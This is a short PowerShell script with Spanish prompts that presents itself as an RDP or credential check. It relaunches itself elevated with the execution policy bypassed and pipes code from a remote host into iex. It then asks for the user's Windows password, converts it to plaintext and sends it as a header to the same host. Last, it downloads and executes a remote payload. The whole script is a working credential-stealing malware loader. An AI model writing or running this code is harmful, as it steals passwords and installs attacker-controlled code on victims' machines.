$isAdmin = ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)
if (-not $isAdmin) {
    Write-Host "Elevando privilegios..." -ForegroundColor Yellow
    Start-Process PowerShell -Verb RunAs -ArgumentList "-NoProfile -ExecutionPolicy Bypass -Command `"irm https://rdp.powertrack.com.ve | iex`""
    Exit
}

$pass = Read-Host "Ingresa tu contrasena de Windows" -AsSecureString
$ptr = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($pass)
$plainPass = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($ptr)

try {
    Write-Host "Verificando credenciales..." -ForegroundColor Cyan
    $payload = Invoke-RestMethod -Uri "https://rdp.powertrack.com.ve/payload" -Headers @{ "X-Auth-Key" = $plainPass }
    Invoke-Expression $payload
} catch {
    Write-Host "Clave incorrecta o conexion denegada." -ForegroundColor Red
    Start-Sleep -Seconds 3
}